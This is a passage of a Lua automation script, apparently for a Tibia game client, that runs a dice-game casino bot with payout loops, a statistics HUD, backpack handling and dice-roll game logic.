  799.               if posx ~= 0 and posy ~= 0 and posz ~= 0 then
  800.                 while Value_Withdraw > 100 do
  801.                   if 0 < Container_Index.CC_BP:ItemCount() then
  802.                     for i = Container_Index.CC_BP:ItemCount() - 1, 0, -1 do
  803.                       local Spot = Container_Index.CC_BP:GetItemData(i)
  804.                       if Spot.id == 3043 and Spot.count == 100 then
  805.                         local beforePay_Count = Container_Index.CC_BP:ItemCount() - 1
  806.                         Container_Index.CC_BP:MoveItemToGround(i, posx, posy, posz, Spot.count)
  807.                         wait(Self.Ping() + 450)
  808.                         if beforePay_Count ~= Container_Index.CC_BP:ItemCount() - 1 then
  809.                           PlayerTable.BALANCE = PlayerTable.BALANCE - Spot.count
  810.                           Value_Withdraw = Value_Withdraw - Spot.count
  811.                         end
  812.                       else
  813.                       end
  814.                     end
  815.                   elseif 1 < Container_Index.CC_BP:ItemCount() then
  816.                     for i = Container_Index.CC_BP:ItemCount() - 1, 0, -1 do
  817.                       local Spot = Container_Index.CC_BP:GetItemData(i)
  818.                       if Spot.id == 3043 and Spot.count == 100 then
  819.                         local beforePay_Count = Container_Index.CC_BP:ItemCount() - 1
  820.                         Container_Index.CC_BP:MoveItemToGround(i, posx, posy, posz, Spot.count)
  821.                         wait(Self.Ping() + 450)
  822.                         if beforePay_Count ~= Container_Index.CC_BP:ItemCount() - 1 then
  823.                           PlayerTable.BALANCE = PlayerTable.BALANCE - Spot.count
  824.                           Value_Withdraw = Value_Withdraw - Spot.count
  825.                         end
  826.                       else
  827.                       end
  828.                     end
  829.                   elseif backToCheck() then
  830.                     for i = Container_Index.CC_BP:ItemCount() - 1, 0, -1 do
  831.                       local Spot = Container_Index.CC_BP:GetItemData(i)
  832.                       if Spot.id == 3043 and Spot.count == 100 then
  833.                         local beforePay_Count = Container_Index.CC_BP:ItemCount() - 1
  834.                         Container_Index.CC_BP:MoveItemToGround(i, posx, posy, posz, Spot.count)
  835.                         wait(Self.Ping() + 450)
  836.                         if beforePay_Count ~= Container_Index.CC_BP:ItemCount() - 1 then
  837.                           PlayerTable.BALANCE = PlayerTable.BALANCE - Spot.count
  838.                           Value_Withdraw = Value_Withdraw - Spot.count
  839.                         end
  840.                         break
  841.                       end
  842.                     end
  843.                   end
  844.                 end
  845.                 if Value_Withdraw <= 100 then
  846.                   if 0 < Container_Index.CC_BP:ItemCount() then
  847.                     for i = Container_Index.CC_BP:ItemCount() - 1, 0, -1 do
  848.                       local Spot = Container_Index.CC_BP:GetItemData(i)
  849.                       if Spot.id == 3043 and Value_Withdraw >= Spot.count then
  850.                         local beforePay_Count = Container_Index.CC_BP:ItemCount() - 1
  851.                         Container_Index.CC_BP:MoveItemToGround(i, posx, posy, posz, Spot.count)
  852.                         wait(Self.Ping() + 450)
  853.                         if beforePay_Count ~= Container_Index.CC_BP:ItemCount() - 1 then
  854.                           PlayerTable.BALANCE = PlayerTable.BALANCE - Spot.count
  855.                           Value_Withdraw = Value_Withdraw - Spot.count
  856.                         end
  857.                         break
  858.                       end
  859.                     end
  860.                   elseif 1 < Container_Index.CC_BP:ItemCount() then
  861.                     for i = Container_Index.CC_BP:ItemCount() - 1, 0, -1 do
  862.                       local Spot = Container_Index.CC_BP:GetItemData(i)
  863.                       if Spot.id == 3043 and Value_Withdraw >= Spot.count then
  864.                         local beforePay_Count = Container_Index.CC_BP:ItemCount() - 1
  865.                         Container_Index.CC_BP:MoveItemToGround(i, posx, posy, posz, Spot.count)
  866.                         wait(Self.Ping() + 450)
  867.                         if beforePay_Count ~= Container_Index.CC_BP:ItemCount() - 1 then
  868.                           PlayerTable.BALANCE = PlayerTable.BALANCE - Spot.count
  869.                           Value_Withdraw = Value_Withdraw - Spot.count
  870.                         end
  871.                         break
  872.                       end
  873.                     end
  874.                   elseif backToCheck() then
  875.                     for i = Container_Index.CC_BP:ItemCount() - 1, 0, -1 do
  876.                       local Spot = Container_Index.CC_BP:GetItemData(i)
  877.                       if Spot.id == 3043 and Value_Withdraw >= Spot.count then
  878.                         local beforePay_Count = Container_Index.CC_BP:ItemCount() - 1
  879.                         Container_Index.CC_BP:MoveItemToGround(i, posx, posy, posz, Spot.count)
  880.                         wait(Self.Ping() + 450)
  881.                         if beforePay_Count ~= Container_Index.CC_BP:ItemCount() - 1 then
  882.                           PlayerTable.BALANCE = PlayerTable.BALANCE - Spot.count
  883.                           Value_Withdraw = Value_Withdraw - Spot.count
  884.                         end
  885.                         break
  886.                       end
  887.                     end
  888.                   end
  889.                 end
  890.               end
  891.             end
  892.           end
  893.         end
  894.      if PlayerTable.JOGO == Games.NULL and table.contains(_Commands_Payout, Message) and 2 <= os.difftime(os.time(), Last_Payout) then
  895.           local posx, posy, posz = 0, 0, 0
  896.           local totalValue = PlayerTable.BALANCE
  897.           if 0 < PlayerTable.BALANCE then
  898.             posx, posy, posz = Positions.Counter_Pos.x, Positions.Counter_Pos.y, Positions.Counter_Pos.z
  899.           end
  900.           if posx ~= 0 and posy ~= 0 and posz ~= 0 then
  901.             wait(100)
  902.             while PlayerTable.BALANCE > 100 do
  903.               if 0 < Container_Index.CC_BP:ItemCount() then
  904.                 for i = Container_Index.CC_BP:ItemCount() - 1, 0, -1 do
  905.                   local Spot = Container_Index.CC_BP:GetItemData(i)
  906.                   if Spot.id == 3043 then
  907.                     local beforePay_Count = Container_Index.CC_BP:ItemCount() - 1
  908.                     Container_Index.CC_BP:MoveItemToGround(i, posx, posy, posz, 100)
  909.                     wait(100)
  910.                     if beforePay_Count ~= Container_Index.CC_BP:ItemCount() - 1 then
  911.                       PlayerTable.BALANCE = PlayerTable.BALANCE - 100
  912.                     end
  913.                   break
  914.                   end
  915.                 end
  916.               elseif 1 < Container_Index.CC_BP:ItemCount() then
  917.                 for i = Container_Index.CC_BP:ItemCount() - 1, 0, -1 do
  918.                   local Spot = Container_Index.CC_BP:GetItemData(i)
  919.                   if Spot.id == 3043 then
  920.                     local beforePay_Count = Container_Index.CC_BP:ItemCount() - 1
  921.                     Container_Index.CC_BP:MoveItemToGround(i, posx, posy, posz, 100)
  922.                     wait(100)
  923.                     if beforePay_Count ~= Container_Index.CC_BP:ItemCount() - 1 then
  924.                       PlayerTable.BALANCE = PlayerTable.BALANCE - 100
  925.                     end
  926.                 break
  927.                   end
  928.                 end
  929.               elseif backToCheck() then
  930.                 for i = Container_Index.CC_BP:ItemCount() - 1, 0, -1 do
  931.                   local Spot = Container_Index.CC_BP:GetItemData(i)
  932.                   if Spot.id == 3043 then
  933.                     local beforePay_Count = Container_Index.CC_BP:ItemCount() - 1
  934.                     Container_Index.CC_BP:MoveItemToGround(i, posx, posy, posz, 100)
  935.                     wait(100)
  936.                     if beforePay_Count ~= Container_Index.CC_BP:ItemCount() - 1 then
  937.                       PlayerTable.BALANCE = PlayerTable.BALANCE - 100
  938.                     end
  939.                     else
  940.                   end
  941.                 end
  942.               end
  943.             end
  944.             if PlayerTable.BALANCE <= 100 then
  945.               if 0 < Container_Index.CC_BP:ItemCount() then
  946.                 for i = Container_Index.CC_BP:ItemCount() - 1, 0, -1 do
  947.                   local Spot = Container_Index.CC_BP:GetItemData(i)
  948.                   if Spot.id == 3043 then
  949.                     local beforePay_Count = Container_Index.CC_BP:ItemCount() - 1
  950.                     wait(100)
  951.                     Container_Index.CC_BP:MoveItemToGround(i, posx, posy, posz, PlayerTable.BALANCE)
  952.                     if beforePay_Count ~= Container_Index.CC_BP:ItemCount() - 1 then
  953.                       PlayerTable.BALANCE = PlayerTable.BALANCE - PlayerTable.BALANCE
  954.                     end
  955.                     break
  956.                   end
  957.                 end
  958.               elseif 1 < Container_Index.CC_BP:ItemCount() then
  959.                 for i = Container_Index.CC_BP:ItemCount() - 1, 0, -1 do
  960.                   local Spot = Container_Index.CC_BP:GetItemData(i)
  961.                   if Spot.id == 3043 then
  962.                     local beforePay_Count = Container_Index.CC_BP:ItemCount() - 1
  963.                     wait(100)
  964.                     Container_Index.CC_BP:MoveItemToGround(i, posx, posy, posz, PlayerTable.BALANCE)
  965.                     if beforePay_Count ~= Container_Index.CC_BP:ItemCount() - 1 then
  966.                       PlayerTable.BALANCE = PlayerTable.BALANCE - PlayerTable.BALANCE
  967.                     end
  968.                     break
  969.                   end
  970.                 end
  971.               end
  972.               Self.Say("Your Money: " .. math.floor(totalValue) .. "cc.")
  973.               PlayerTable.BALANCE = 0
  974.               Last_Activity_Player = os.time()
  975.               wait(2500)
  976.             end
  977.           end
  978.           PlayerTable.BALANCE = 0
  979.           Last_Payout = os.time()
  980.         end
  981.       end
  982.     end
  983.   end
  984. end)
  985. Hud = {
  986.   Credits = HUD.New(30, 10, "$$ " .. Self.Name() .. " $$", 255, 69, 0),
  987.   Cliente = HUD.New(30, 20, "Client: " .. cjikar, 232, 177, 26),
  988.   Versao = HUD.New(30, 30, "Version: " .. Versao .. "", 232, 150, 20),
  989.   Icone = HUD.New(15, 65, 4846, 20, 1),
  990.   Icone = HUD.New(190, 65, 4846, 20, 1),
  991.   Icone_Money = HUD.New(15, 145, 3043, 20, 1),
  992.   Icone_Money2 = HUD.New(175, 145, 3043, 20, 1),
  993.   Icone_Dado = HUD.New(10, 238, 5792, 30, 1),
  994.   Icone_Dado2 = HUD.New(113, 238, 5792, 30, 1),
  995.   Icone_Doll = HUD.New(18, 288, 19150, 20, 1),
  996.   Icone_Doll2 = HUD.New(95, 288, 19150, 20, 1),
  997.   Statistics = {
  998.     Statistics_Title = HUD.New(40, 70, "| INFORMACION GENERAL |", 127, 255, 212),
  999.     Statistics_Title = HUD.New(40, 150, "| INFORMATION MONEY |", 127, 255, 212),
  1000.     Statistics_Title = HUD.New(40, 290, "| VISITS |", 127, 255, 212),
  1001.     Statistics_Casino_Name = HUD.New(40, 90, "| Casino Name:", 255, 179, 100),
  1002.     Statistics_Casino_NameT = HUD.New(125, 90, Self.Name(), 255, 255, 255),
  1003.     Statistics_Casino_Session_Time = HUD.New(40, 110, "| Runtime:", 255, 179, 100),
  1004.     Statistics_Casino_Session_TimeT = HUD.New(100, 110, "00:00", 255, 255, 255),
  1005.     Statistics_Casino_SS = HUD.New(40, 130, "| Server Save:", 255, 179, 100),
  1006.     Statistics_Casino_SST = HUD.New(125, 130, _Casino_ServerSave, 255, 255, 255),
  1007.     Statistics_Casino_Totalcc = HUD.New(40, 170, "| Money Actual:", 255, 179, 100),
  1008.     Statistics_Casino_TotalccT = HUD.New(135, 170, "0k", 255, 255, 255),
  1009.     Statistics_Casino_PTopWin = HUD.New(40, 190, "| Top Player Win:", 255, 179, 100),
  1010.     Statistics_Casino_PTopWinT = HUD.New(140, 190, "0k", 255, 255, 255),
  1011.     Statistics_Casino_PTopLose = HUD.New(40, 210, "| Top Player Lose:", 255, 179, 100),
  1012.     Statistics_Casino_PTopLoseT = HUD.New(148, 210, "0k", 255, 255, 255),
  1013.     Statistics_Casino_Profit = HUD.New(40, 230, "| Profit:", 255, 179, 100),
  1014.     Statistics_Casino_ProfitT = HUD.New(88, 230, "0k", 255, 255, 255),
  1015.     Statistics_Title = HUD.New(40, 250, "| TOP GAMES |", 127, 255, 212),
  1016.     Statistics_Casino_TopGames = HUD.New(40, 270, "| Top Games:", 255, 179, 100),
  1017.     Statistics_Casino_TopGamesT = HUD.New(118, 270, "H,L,HAC,LAC,NUM,XXX,ODD,EVEN - 0,0,0,0,0,0,0,0", 255, 255, 255),
  1018.     Statistics_Casino_LastPlayer = HUD.New(40, 310, "| Last player:", 255, 179, 100),
  1019.     Statistics_Casino_LastPlayerT = HUD.New(120, 310, "", 255, 255, 255),
  1020.     Statistics_Casino_PlayerCount = HUD.New(40, 330, "| Visits:", 255, 179, 100),
  1021.     Statistics_Casino_PlayerCountT = HUD.New(86, 330, "0", 255, 255, 255)
  1022.   }
  1023. }
  1024. function FormatTime(t)
  1025.   return string.format("%.2d:%.2d:%.2d", t / 3600, t / 60 % 60, t % 60)
  1026. end
  1027. function SaveLog()
  1028.   local fileLog = "../" .. Self.Name() .. " [LOG].txt"
  1029.   local fileLogtxt = io.open(fileLog, "a")
  1030.   local HoursRunning = math.floor(os.difftime(os.time(), Time_Running))
  1031.   fileLogtxt:write("\n")
  1032.   fileLogtxt:write("//" .. os.date("%d/%m/%Y - %H:%M:%S.") .. "\\\\", [[
  1033.  
  1034.  
  1035. ]])
  1036.   fileLogtxt:write("Tempo Aberto: " .. FormatTime(HoursRunning), "\n")
  1037.   fileLogtxt:write("Lucro: " .. Casino.Profit * 10 .. "K", "\n")
  1038.   fileLogtxt:write("Visitantes: " .. Casino.Players_Count, "\n")
  1039.   fileLogtxt:write("Dinheiro Total: " .. math.floor(Self.ItemCount(3043) * 10) .. "k", "\n")
  1040.   fileLogtxt:write("Dinheiro Extras: " .. math.floor(TotalCrystal * 10) .. "K", "\n")
  1041.   fileLogtxt:close()
  1042. end
  1043. function MaiorValor(table, type)
  1044.   local Maior = 0
  1045.   local Name = ""
  1046.   if type == "lose" then
  1047.     for i, v in pairs(Player) do
  1048.       if v ~= nil and v.LOSETOP ~= nil and Maior < v.LOSETOP.Money then
  1049.         Maior = v.LOSETOP.Money
  1050.         Name = v.LOSETOP.Name
  1051.       end
  1052.     end
  1053.   elseif type == "win" then
  1054.     for i, v in pairs(Player) do
  1055.       if v ~= nil and v.WINTOP ~= nil and Maior < v.WINTOP.Money then
  1056.         Maior = v.WINTOP.Money
  1057.         Name = v.WINTOP.Name
  1058.       end
  1059.     end
  1060.   end
  1061.   return math.floor(Maior * 10) .. "K - " .. Name
  1062. end
  1063. Module.New("Update HUD money", function(mod)
  1064.   if Money_Count < 5 then
  1065.     Money_Count = Money_Count + 1
  1066.     Hud.Icone_Money:SetItemCount(Money_Count)
  1067.     Hud.Icone_Money2:SetItemCount(Money_Count)
  1068.   elseif Money_Count >= 5 and Money_Count < 10 then
  1069.     Money_Count = Money_Count + 5
  1070.     Hud.Icone_Money:SetItemCount(Money_Count)
  1071.     Hud.Icone_Money2:SetItemCount(Money_Count)
  1072.   elseif Money_Count >= 10 and Money_Count < 25 then
  1073.     Money_Count = Money_Count + 15
  1074.     Hud.Icone_Money:SetItemCount(Money_Count)
  1075.     Hud.Icone_Money2:SetItemCount(Money_Count)
  1076.   elseif Money_Count >= 25 and Money_Count < 50 then
  1077.     Money_Count = Money_Count + 25
  1078.     Hud.Icone_Money:SetItemCount(Money_Count)
  1079.     Hud.Icone_Money2:SetItemCount(Money_Count)
  1080.   elseif Money_Count >= 50 then
  1081.     Money_Count = 1
  1082.     Hud.Icone_Money:SetItemCount(Money_Count)
  1083.     Hud.Icone_Money2:SetItemCount(Money_Count)
  1084.   end
  1085.   if Dice_Count < 6 then
  1086.     Dice_Count = Dice_Count + 1
  1087.     Hud.Icone_Dado:SetItemID(5791 + Dice_Count)
  1088.     Hud.Icone_Dado2:SetItemID(5791 + Dice_Count)
  1089.   elseif Dice_Count == 6 then
  1090.     Dice_Count = 1
  1091.     Hud.Icone_Dado:SetItemID(5792)
  1092.     Hud.Icone_Dado2:SetItemID(5792)
  1093.   end
  1094.   mod:Delay(1500)
  1095. end)
  1096. Module.New("Update HUD", function(mod)
  1097.   if Casino_Started then
  1098.     local HoursRunning = math.floor(os.difftime(os.time(), Time_Running))
  1099.     Hud.Statistics.Statistics_Casino_ProfitT:SetText(math.floor(Casino.Profit) * 10 .. "k")
  1100.     Hud.Statistics.Statistics_Casino_TotalccT:SetText(math.floor(Self.ItemCount(3043) * 10) .. "k")
  1101.     Hud.Statistics.Statistics_Casino_TopGamesT:SetText("H,L,HAC,LAC,NUM,XXX,ODD,EVEN: " .. Casino.TopGames.H .. "," .. Casino.TopGames.L .. "," .. Casino.TopGames.HAC .. "," .. Casino.TopGames.LAC .. "," .. Casino.TopGames.NUM .. "," .. Casino.TopGames.XXX .. "," .. Casino.TopGames.ODD .. "," .. Casino.TopGames.EVEN .. ".")
  1102.     Hud.Statistics.Statistics_Casino_PlayerCountT:SetText(Casino.Players_Count)
  1103.     Hud.Statistics.Statistics_Casino_Session_TimeT:SetText(FormatTime(HoursRunning))
  1104.     Hud.Statistics.Statistics_Casino_LastPlayerT:SetText(Last_Player)
  1105.     local r, g, b = math.random(255), math.random(255), math.random(255)
  1106.     Hud.Statistics.Statistics_Casino_PTopWinT:SetText(MaiorValor(Player, "win"))
  1107.     Hud.Statistics.Statistics_Casino_PTopLoseT:SetText(MaiorValor(Player, "lose"))
  1108.     Hud.Credits:SetTextColor(r, g, b)
  1109.     if Casino.Profit < 0 then
  1110.       Hud.Statistics.Statistics_Casino_ProfitT:SetTextColor(238, 0, 0)
  1111.     elseif Casino.Profit ~= 0 and Casino.Profit > 0 then
  1112.       Hud.Statistics.Statistics_Casino_ProfitT:SetTextColor(0, 255, 0)
  1113.     elseif Casino.Profit == 0 then
  1114.       Hud.Statistics.Statistics_Casino_ProfitT:SetTextColor(255, 255, 255)
  1115.     end
  1116.   end
  1117.   mod:Delay(1000)
  1118. end)
  1119. Jailson = Module("Check", function(mod)
  1120.   if PlayerTable ~= nil and Last_Payout ~= nil and PlayerTable.JOGO ~= Games.NULL and PlayerTable.JOGO ~= Games.BJ and PlayerTable.JOGO ~= Games.XXX and os.difftime(os.time(), Last_Payout) >= 2 then
  1121.     PlayerTable.JOGO = Games.NULL
  1122.     Last_Payout = os.time()
  1123.   end
  1124.   mod:Delay(1500)
  1125. end, false)
  1126. function OpenBp(backpack)
  1127.   local bp = Container.New(0)
  1128.   for index, name in pairs(backpack) do
  1129.     for i = 0, bp:ItemCount() - 1 do
  1130.       local slot = bp:GetItemData(i)
  1131.       if Item.GetName(slot.id):lower() == name:lower() then
  1132.         bp:UseItem(i, false)
  1133.         wait(100)
  1134.         Container.New(#Container.GetAll() - 3):Minimize()
  1135.         if #Container.GetAll() ~= 3 + index then
  1136.           print("Problema na abertura, reiniciando o Cassino.")
  1137.           return false
  1138.         end
  1139.         break
  1140.       end
  1141.     end
  1142.   end
  1143. end
  1144. function GetCounterContainer()
  1145.   local containerC
  1146.   for order, index in pairs(Container.GetAll()) do
  1147.     local containerNew = Container.New(index)
  1148.     if CountItemsOfIDs(containerNew, Depot_IDs) == 0 and containerNew:Name() == "Browse Field" then
  1149.       containerC = Container.New(index)
  1150.       break
  1151.     end
  1152.   end
  1153.   return containerC
  1154. end
  1155. Open_Casino = Module("Openning Casino (bps)", function(mod)
  1156.   if Casino_Started == true and #Container.GetAll() == 0 then
  1157.     Casino_Started = false
  1158.     Open_Casino:Stop()
  1159.     Last_Activity_Player = os.time
  1160.     wait(Self.Ping() + 250)
  1161.     Open_Casino:Start()
  1162.   end
  1163.   if #Container.GetAll() ~= 6 and not Stop_Casino and Server_Save_Now == false then
  1164.     for i = 0, 15 do
  1165.       closeContainer(i)
  1166.     end
  1167.     print("Abrindo Cassino, aguarde por favor!")
  1168.     TotalCrystal = 0
  1169.     if Positions.Casino_Pos.x ~= nil and (Positions.Casino_Pos.x ~= Self.Position().x or Positions.Casino_Pos.y ~= Self.Position().y) then
  1170.       Casino_Started = false
  1171.       Open_Casino:Stop()
  1172.       print("Cassino fora de posi\231\227o! Desligado.")
  1173.       return false
  1174.     end
  1175.     CoordinatesDC()
  1176.     Client.HideEquipment()
  1177.     if Self.BrowseField(Positions.Depot_Pos.x, Positions.Depot_Pos.y, Positions.Depot_Pos.z) then
  1178.       wait(Self.Ping() + 350)
  1179.       Container_Index.Locker = Container.GetFirst()
  1180.       if Container_Index.Locker ~= nil and Container_Index.Locker:isOpen() ~= nil then
  1181.         Container_Index.Locker:Minimize()
  1182.       else
  1183.         print("Erro: Falha ao minimizar Locker, tentando novamente...")
  1184.         return false
  1185.       end
  1186.     end
  1187.     if #Container.GetAll() ~= 1 then
  1188.       print("Problema na abertura, reiniciando o Cassino. (Locker)")
  1189.       Czysciciel = true
  1190.       return false
  1191.     end
  1192.     if Self.BrowseField(Positions.Counter_Pos.x, Positions.Counter_Pos.y, Positions.Counter_Pos.z) then
  1193.       wait(Self.Ping() + 350)
  1194.       Container_Index.Counter = GetCounterContainer()
  1195.       if Container_Index.Counter ~= nil and Container_Index.Counter:isOpen() ~= nil then
  1196.         Container_Index.Counter:Minimize()
  1197.       else
  1198.         print("Erro: Falha ao minimizar Counter, tentando novamente...")
  1199.         Czysciciel = true
  1200.         return false
  1201.       end
  1202.     end
  1203.     if #Container.GetAll() ~= 2 then
  1204.       print("Problema na abertura, reiniciando o Cassino. (Counter)")
  1205.       Czysciciel = true
  1206.       return false
  1207.     end
  1208.     if Container_Index.Locker ~= nil and Container_Index.Locker:isOpen() ~= nil then
  1209.       Container_Index.Locker:UseItem(0, false)
  1210.     else
  1211.       print("Locker n\227o encontrado! Tentando novamente.")
  1212.       return false
  1213.     end
  1214.     wait(Self.Ping() + 100)
  1215.     Container_Index.Depot = Container.New(0)
  1216.     wait(100)
  1217.     wait(Self.Ping())
  1218.     if #Container.GetAll() ~= 3 then
  1219.       print("Problema na abertura, reiniciando o Cassino. (Depot)")
  1220.       Czysciciel = true
  1221.       return false
  1222.     end
  1223.     if Container_Index.Depot:isOpen() ~= nil then
  1224.         wait(150)
  1225.         Container_Index.Depot:Minimize()
  1226.         Container:UseItem(0, true)
  1227.         wait(150)
  1228.        
  1229.       Container_Index.Depot:Minimize()
  1230.     else
  1231.       print("Erro: Falha ao minimizar Depot, tentando novamente...")
  1232.       return false
  1233.     end
  1234.     wait(100)
  1235.     if _Casino_Depot then
  1236.     Container_Index.Depot:Minimize()
  1237.       if Container_Index.Depot:isOpen() ~= nil then
  1238.         Container_Index.Depot:Minimize()
  1239.         wait(150)
  1240.         Container:OpenChildren({22799, true})
  1241.         wait(50)
  1242.         Container:OpenChildren({22800, true})
  1243.         wait(150)
  1244.         Container:OpenChildren({22801, true})
  1245.         wait(150)
  1246.         Container_Index.Depot:UseItem(0, true)
  1247.         wait(150)
  1248.         Container_Index.Depot:Minimize()
  1249.         Last_Activity_Player = os.time()
  1250.         Last_Activity_Player2 = os.time()
  1251.         Czysciciel = false
  1252.         wait(25)
  1253.       else
  1254.         print("Depot n\227o aberto com sucesso! Tentando novamente...")
  1255.         return false
  1256.       end
  1257.     end
  1258.     wait(50)
  1259.     Container_Index.CC_BP = Container.New(1)
  1260.     Container_Index.Check_BP = Container.New(2)
  1261.     Container_Index.Trash = Container.New(3)
  1262.     wait(150)
  1263.     Container_Index.Check_BP:Minimize()
  1264.     for container = 1, #Container_Index do
  1265.       if Container_Index[container]:isOpen() == nil then
  1266.         print("Erro: Falha ao detectar todas as Backpacks, tentando novamente...")
  1267.         return false
  1268.       end
  1269.     end
  1270.     if #Container.GetAll() >= 6 and Casino_Started == false then
  1271.       Casino_Started = true
  1272.       _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Casino script loaded. say /help for more commands")
  1273.       Time_Running = os.time()
  1274.       Jailson:Start()
  1275.       if _OpenTibia_Cast_Enabled then
  1276.         Self.Say(_OpenTibia_Cast_Message)
  1277.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Cast ON!")
  1278.       end
  1279.       Decorations_Casino()
  1280.       Start_Modules()
  1281.       for i = 0, Container_Index.Locker:ItemCount() - 1 do
  1282.         if table.contains(Dice_IDs, Container_Index.Locker:GetItemData(i).id) then
  1283.           diceSlot = i
  1284.           break
  1285.         end
  1286.       end
  1287.     end
  1288.   end
  1289. end, false)
  1290. function RollDice()
  1291.   wait(100)
  1292.   if PlayerTable.JOGO ~= Games.BJ then
  1293.     if PlayerTable.JOGO ~= Games.XXX then
  1294.       if Container_Index.Locker:UseItem(diceSlot, true) then
  1295.         AntiTrash:Start()
  1296.         return true
  1297.       else
  1298.         RollDice()
  1299.       end
  1300.     else
  1301.       for i = 0, Container_Index.Locker:ItemCount() - 1 do
  1302.         if table.contains(Dice_IDs, Container_Index.Locker:GetItemData(i).id) then
  1303.           Container_Index.Locker:UseItem(i, true)
  1304.           wait(Self.Ping() + 350)
  1305.           break
  1306.         end
  1307.       end
  1308.     end
  1309.   end
  1310.   if PlayerTable.JOGO == Games.BJ and BlackJack_Count ~= 10 then
  1311.     for i = 0, Container_Index.Locker:ItemCount() - 1 do
  1312.       if table.contains(Dice_IDs, Container_Index.Locker:GetItemData(i).id) then
  1313.         Container_Index.Locker:UseItem(i, true)
  1314.         wait(Self.Ping() + 350)
  1315.       end
  1316.     end
  1317.     BlackJack_Count = BlackJack_Count + 1
  1318.   end
  1319. end
  1320.    
  1321. function Start_Modules()
  1322.   Check_Money:Start()
  1323.   Clean_Table:Start()
  1324.   Clean_TableM:Start()
  1325.   Clean_TableW:Start()
  1326.   CleanTable2:Start()
  1327.   CleanTableD:Start()
  1328.   Restack_Money:Start()
  1329.   AntiTrash:Start()
  1330.   Announce_Say:Start()
  1331.   Announce_Yell:Start()
  1332.   Restack_EBP:Start()
  1333.   Turn_Mod:Start()
  1334.   ModSprawdzania:Start()
  1335.   NapisaneJuz:Start()
  1336. end
  1337. function Stop_Modules()
  1338.   Open_Casino:Stop()
  1339.   Check_Money:Stop()
  1340.   Clean_Table:Stop()
  1341.   Clean_TableM:Stop()
  1342.   Clean_TableW:Stop()
  1343.   CleanTable2:Stop()
  1344.   CleanTableD:Stop()
  1345.   Restack_Money:Stop()
  1346.   AntiTrash:Stop()
  1347.   Announce_Say:Stop()
  1348.   Announce_Yell:Stop()
  1349.   Restack_EBP:Stop()
  1350.   Turn_Mod:Stop()
  1351.   ModSprawdzania:Stop()
  1352.   NapisaneJuz:Stop()
  1353. end
  1354. EffectMessageProxy.OnReceive("Dice Number", function(proxy, message, x, y, z)
  1355.   local Msg = tonumber(string.match(message, Self.Name() .. " rolled a (.+)."))
  1356.   local MsgP, AntyScam, ActualName
  1357.   AntyScam = string.match(message, _AntyScam)
  1358.   if PlayerTable ~= nil and not AntyScam and Msg and PlayerTable.JOGO ~= Games.XXX then
  1359.     if PlayerTable.AH ~= nil then
  1360.       CheckGame(Msg, PlayerTable.JOGO, Name_Atual, PlayerTable.AH)
  1361.     elseif PlayerTable.AL ~= nil then
  1362.       CheckGame(Msg, PlayerTable.JOGO, Name_Atual, PlayerTable.AL)
  1363.     elseif PlayerTable.JOGO ~= Games.BJ and PlayerTable.JOGO ~= Games.NUM then
  1364.       CheckGame(Msg, PlayerTable.JOGO, Name_Atual)
  1365.     elseif PlayerTable.JOGO == Games.NUM then
  1366.       CheckGame(Msg, PlayerTable.JOGO, Name_Atual, PlayerTable.NUM)
  1367.     elseif PlayerTable.JOGO == Games.ODD or PlayerTable.JOGO == Games.EVEN then
  1368.       CheckGame(Msg, PlayerTable.JOGO, Name_Atual)
  1369.     end
  1370.     if PlayerTable.JOGO == Games.BJ then
  1371.       if BlackJack_Count <= 5 then
  1372.         BlackJack_House = BlackJack_House + Msg
  1373.         RollDice()
  1374.         wait(Self.Ping() + 100)
  1375.       elseif BlackJack_Count > 5 and BlackJack_Count < 10 then
  1376.         BlackJack_Player = BlackJack_Player + Msg
  1377.         RollDice()
  1378.         wait(Self.Ping() + 100)
  1379.         if BlackJack_Count == 10 then
  1380.           CheckGame(Msg, PlayerTable.JOGO, Name_Atual, nil, BlackJack_House, BlackJack_Player)
  1381.         end
  1382.       end
  1383.     end
  1384.   end
  1385.   if PlayerTable ~= nil and PlayerTable.JOGO == Games.XXX then
  1386.     MsgP = tonumber(string.match(message, Name_Atual .. " rolled a (.+)."))
  1387.     AntyScam = string.match(message, _AntyScam)
  1388.     if MsgP and not AntyScam then
  1389.       if PlayerTable.XXX_Count >= 3 then
  1390.         PlayerTable.XXX_Player = PlayerTable.XXX_Player + MsgP
  1391.         PlayerTable.XXX_Count = PlayerTable.XXX_Count + 1
  1392.         Last_Activity_Player3 = os.time()
  1393.         if PlayerTable.XXX_Count == 6 then
  1394.           CheckGame(nil, PlayerTable.JOGO, Name_Atual, nil, PlayerTable.XXX, PlayerTable.XXX_Player)
  1395.         end
  1396.       end
  1397.     elseif Msg and PlayerTable.XXX_Count < 3 then
  1398.       PlayerTable.XXX_Count = PlayerTable.XXX_Count + 1
  1399.       PlayerTable.XXX = PlayerTable.XXX + Msg
  1400.       Last_Activity_Player3 = os.time()
  1401.       Last_XXX = os.time()
  1402.       if PlayerTable.XXX_Count == 3 then
  1403.         Self.Say("My sum: " .. PlayerTable.XXX .. ". Waiting for your 3 roles!!.")
  1404.         Last_Activity_Player3 = os.time()
  1405.         XXXzagrane = true
  1406.       else
  1407.         wait(200)
  1408.         RollDice()
  1409.       end  
  1410.     end
  1411.  end
  1412. end)
  1413.  
  1414. ModSprawdzania = Module("Mod Sprawdzania", function(mod)
  1415.  if XXXzagrane == true and PlayerTable ~= nil and PlayerTable.JOGO == Games.XXX and Last_Activity_Player3 ~= nil and os.difftime(os.time(), Last_Activity_Player3) >= _Inactivity_Say_Time1 * 25 then
  1416.       PlayerTable.XXX_Player = 0
  1417.       PlayerTable.XXX_Count = 6
  1418.       XXXzagrane = false
  1419.       CheckGame(nil, PlayerTable.JOGO, Name_Atual, nil, PlayerTable.XXX, PlayerTable.XXX_Player)
  1420. end
  1421. if XXXzagrane == true and PlayerTable ~= nil and PlayerTable.JOGO == Games.XXX and Last_Activity_Player3 ~= nil and os.difftime(os.time(), Last_Activity_Player3) == _Inactivity_Say_Time1 * 15 then
  1422.     Self.Say('Hurry Up u have last 10sec to roll dice')
  1423. end
  1424. mod:Delay(1000)
  1425. end, false)
  1426.  
  1427.  
  1428. function GetPlayerTable(type)
  1429.   if type == "balancewl" then
  1430.     if PlayerTable ~= nil and PlayerTable.BALANCE_P ~= nil then
  1431.       return math.floor(PlayerTable.BALANCE_P / 10)
  1432.     end
  1433.   elseif type == "balance" then
  1434.     if PlayerTable ~= nil and PlayerTable.BALANCE ~= nil then
  1435.       return math.floor(PlayerTable.BALANCE)
  1436.     end
